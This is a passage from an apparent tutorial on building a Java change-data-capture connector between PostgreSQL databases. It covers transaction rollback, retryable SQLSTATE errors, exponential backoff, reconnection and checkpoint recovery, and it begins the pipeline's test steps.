            &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;eventId&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

    &lt;span class="n"&gt;updateCheckpoint&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lastEventId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;commit&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;SQLException&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nc"&gt;RuntimeException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;rollback&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;transactionResolved&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;SQLException&lt;/span&gt; &lt;span class="n"&gt;rollbackError&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addSuppressed&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rollbackError&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// Do not reuse a connection with an unresolved transaction.&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;close&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
            &lt;span class="n"&gt;connectionClosed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;SQLException&lt;/span&gt; &lt;span class="n"&gt;closeError&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addSuppressed&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;closeError&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Additional error handling follows...&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important points are:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;All events in the batch are applied within one transaction.&lt;/li&gt;
&lt;li&gt;The checkpoint is updated only after all events have been applied successfully.&lt;/li&gt;
&lt;li&gt;The transaction is committed only after the checkpoint update succeeds.&lt;/li&gt;
&lt;li&gt;If an error occurs, the connector attempts to roll back the transaction.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the rollback itself fails, the connector closes the destination connection rather than reusing a connection whose transaction state is uncertain.&lt;/p&gt;

&lt;p&gt;This approach helps prevent partially applied batches and inconsistent checkpoint updates.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.2 Identifying Retryable Transaction Errors
&lt;/h3&gt;

&lt;p&gt;Not every database error should be retried.&lt;/p&gt;

&lt;p&gt;For example, a temporary transaction conflict may succeed when attempted again, whereas an invalid SQL statement or other permanent error is unlikely to succeed through repeated retries.&lt;/p&gt;

&lt;p&gt;The connector uses SQLSTATE codes to identify retryable transaction errors.&lt;/p&gt;

&lt;p&gt;Here is the implementation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;isRetryableTransactionError&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="nc"&gt;SQLException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;sqlState&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSQLState&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sqlState&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;sqlState&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startsWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"40"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;// Transaction rollback&lt;/span&gt;
            &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;sqlState&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"55P03"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// Lock not available&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connector considers the following errors retryable:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SQLSTATE class 40:&lt;/strong&gt; Transaction rollback errors, including serialization failures and deadlocks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SQLSTATE 55P03:&lt;/strong&gt; Lock not available.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other SQL errors are not automatically retried.&lt;/p&gt;

&lt;p&gt;Connection failures are handled separately by the outer connection-recovery mechanism.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.3 Implementing Retry Logic with Exponential Backoff
&lt;/h3&gt;

&lt;p&gt;The connector retries a failed batch when the error is classified as a retryable transaction error.&lt;/p&gt;

&lt;p&gt;The retry loop in &lt;code&gt;processBatchWithRetry()&lt;/code&gt; is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="no"&gt;MAX_RETRIES&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="n"&gt;attempt&lt;/span&gt;&lt;span class="o"&gt;++)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Attempt to process the batch.&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice that the loop uses &lt;code&gt;MAX_RETRIES + 1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If &lt;code&gt;cdc.max.retries&lt;/code&gt; is configured as &lt;code&gt;3&lt;/code&gt;, the connector makes a maximum of four attempts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;First attempt: Initial processing attempt.&lt;/li&gt;
&lt;li&gt;Second attempt: First retry.&lt;/li&gt;
&lt;li&gt;Third attempt: Second retry.&lt;/li&gt;
&lt;li&gt;Fourth attempt: Third retry.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The connector uses exponential backoff to increase the waiting time between retries.&lt;/p&gt;

&lt;p&gt;The delay is calculated as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="no"&gt;INITIAL_RETRY_DELAY_MS&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1L&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With an initial retry delay of 1,000 milliseconds, the delays are:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Failed attempt&lt;/th&gt;
&lt;th&gt;Waiting time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1 second&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2 seconds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;4 seconds&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This approach avoids repeatedly retrying a failed transaction without allowing time for the underlying condition to clear.&lt;/p&gt;

&lt;p&gt;Before retrying, the connector rolls back the failed transaction. It also checks whether the error is a connection failure or a retryable transaction error.&lt;/p&gt;

&lt;p&gt;If the error is not retryable, or the maximum number of attempts has been reached, the exception is propagated to the caller.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.4 Handling Database Connection Failures
&lt;/h3&gt;

&lt;p&gt;Transaction retries are useful for temporary transaction errors, but they cannot solve a lost database connection.&lt;/p&gt;

&lt;p&gt;For example, the PostgreSQL server might be restarted, become temporarily unavailable, or terminate an active connection.&lt;/p&gt;

&lt;p&gt;The connector identifies connection failures using SQLSTATE codes.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;isConnectionFailure()&lt;/code&gt; method checks for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SQLSTATE class &lt;code&gt;08&lt;/code&gt;, which represents connection exceptions.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;57P01&lt;/code&gt;, &lt;code&gt;57P02&lt;/code&gt;, and &lt;code&gt;57P03&lt;/code&gt;, which represent PostgreSQL server shutdown or unavailability conditions.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When a connection failure occurs during batch processing, the connector does not attempt to retry the transaction on the same connection. Instead, it propagates the exception to the outer connection-recovery loop.&lt;/p&gt;

&lt;p&gt;The relevant logic in the &lt;code&gt;main()&lt;/code&gt; method is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;SQLException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;running&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;isConnectionFailure&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
                &lt;span class="s"&gt;"Non-connection database error. Stopping connector:"&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;err&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"Database connection lost. Reconnecting in "&lt;/span&gt;
                    &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="no"&gt;RECONNECT_DELAY_MS&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" ms..."&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sleep&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;RECONNECT_DELAY_MS&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;InterruptedException&lt;/span&gt; &lt;span class="n"&gt;interrupted&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentThread&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;interrupt&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the exception is identified as a connection failure, the connector waits for the configured reconnect delay before attempting to establish new connections.&lt;/p&gt;

&lt;p&gt;In this project, the reconnect delay is configured as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;cdc.reconnect.delay.ms&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;5000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Therefore, the connector waits five seconds before attempting to reconnect.&lt;/p&gt;

&lt;p&gt;The database connections are managed using Java's try-with-resources statement. When the connection session exits, the resources are closed automatically.&lt;/p&gt;

&lt;p&gt;The outer &lt;code&gt;while (running)&lt;/code&gt; loop then attempts to establish new connections to both the source and destination databases.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.5 Recovering the Processing Position After Reconnection
&lt;/h3&gt;

&lt;p&gt;An important part of connection recovery is determining where processing should resume.&lt;/p&gt;

&lt;p&gt;The connector does not rely on the last event ID held only in application memory.&lt;/p&gt;

&lt;p&gt;Whenever a new database connection session is established, &lt;code&gt;runContinuousPolling()&lt;/code&gt; retrieves the checkpoint again:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;lastProcessedEventId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="n"&gt;getLastProcessedEventId&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;destinationConnection&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This ensures that the connector uses the last checkpoint committed in the destination database.&lt;/p&gt;

&lt;p&gt;For example, suppose the connector successfully processes events up to event ID &lt;code&gt;30&lt;/code&gt;, and the corresponding checkpoint is committed.&lt;/p&gt;

&lt;p&gt;If the source or destination connection is subsequently lost, the connector attempts to reconnect.&lt;/p&gt;

&lt;p&gt;After establishing new connections, it retrieves the checkpoint value &lt;code&gt;30&lt;/code&gt; and continues querying for events with IDs greater than &lt;code&gt;30&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Because the destination employee changes and checkpoint update are committed in the same transaction, the checkpoint does not advance independently of those changes.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.6 Graceful Shutdown and Thread Interruption
&lt;/h3&gt;

&lt;p&gt;The connector also handles application shutdown.&lt;/p&gt;

&lt;p&gt;In the &lt;code&gt;main()&lt;/code&gt; method, a JVM shutdown hook is registered:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;Runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRuntime&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;addShutdownHook&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"\nShutdown requested..."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the application receives a shutdown request, the hook sets the &lt;code&gt;running&lt;/code&gt; flag to &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The continuous polling loop checks this flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentThread&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;isInterrupted&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Process available CDC events.&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connector also handles interruption during its polling sleep and retry delays.&lt;/p&gt;

&lt;p&gt;When an &lt;code&gt;InterruptedException&lt;/code&gt; occurs, the code restores the thread's interrupted status using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentThread&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;interrupt&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This preserves the interruption signal instead of silently consuming it.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.7 Summary of Error Handling and Recovery
&lt;/h3&gt;

&lt;p&gt;The following table summarizes the error-handling mechanisms implemented in the connector.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Situation&lt;/th&gt;
&lt;th&gt;Connector behavior&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Error while applying a batch&lt;/td&gt;
&lt;td&gt;Roll back the destination transaction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Retryable transaction error&lt;/td&gt;
&lt;td&gt;Roll back and retry with exponential backoff&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Non-retryable SQL error&lt;/td&gt;
&lt;td&gt;Propagate the exception and stop the connector&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database connection failure&lt;/td&gt;
&lt;td&gt;Exit the current connection session and attempt reconnection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rollback failure&lt;/td&gt;
&lt;td&gt;Close the destination connection rather than reuse an unresolved transaction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Application shutdown&lt;/td&gt;
&lt;td&gt;Set the running flag to false and stop the polling loop&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;These mechanisms provide a basic recovery strategy for the CDC pipeline. Transaction rollback protects destination consistency, retry logic handles selected temporary transaction errors, and connection recovery allows the connector to resume after database availability is restored.&lt;/p&gt;

&lt;p&gt;The implementation is intentionally limited to the error conditions identified by its SQLSTATE checks. It does not automatically retry every possible database error.&lt;/p&gt;

&lt;h2&gt;
  
  
  9. Testing the CDC Pipeline
&lt;/h2&gt;

&lt;p&gt;Now that we have implemented the PostgreSQL triggers and Java CDC connector, let's test the complete pipeline.&lt;/p&gt;

&lt;p&gt;The objective is to verify that changes made to the source &lt;code&gt;employees&lt;/code&gt; table are captured by PostgreSQL triggers, stored in the &lt;code&gt;cdc_events&lt;/code&gt; table, and eventually applied to the destination database by the Java connector.&lt;/p&gt;

&lt;p&gt;We will also verify batch processing, checkpoint management, and recovery behavior.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.1 Starting the CDC Connector
&lt;/h3&gt;

&lt;p&gt;Before testing, make sure both PostgreSQL databases are running and the required database objects have been created.&lt;/p&gt;

&lt;p&gt;Navigate to the project directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;Software-Engineering/cdc-demo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Set the database password environment variable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;your_database_password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On Windows PowerShell, use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"your_database_password"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Start the connector using Maven:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mvn clean compile &lt;span class="nb"&gt;exec&lt;/span&gt;:java &lt;span class="nt"&gt;-Dexec&lt;/span&gt;.mainClass&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"com.clockwise.cdc.CDCConnector"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connector should establish connections to both databases and retrieve the current checkpoint.&lt;/p&gt;

&lt;p&gt;You should see startup messages similar to the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Configuration loaded from application.properties
Starting CDC Connector...
CDC batch size: 3
Connected to source database: cdc_source
Connected to destination database: cdc_destination

Starting continuous CDC polling...
Last processed event ID: 0
Polling interval: 2000 ms
Press Ctrl+C to stop the connector.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The displayed checkpoint value depends on the previous processing history. The value &lt;code&gt;0&lt;/code&gt; represents a newly initialized checkpoint.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.2 Testing INSERT Operations
&lt;/h3&gt;

&lt;p&gt;Let's first verify that an INSERT operation is captured and replicated.&lt;/p&gt;

&lt;p&gt;Connect to the source database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
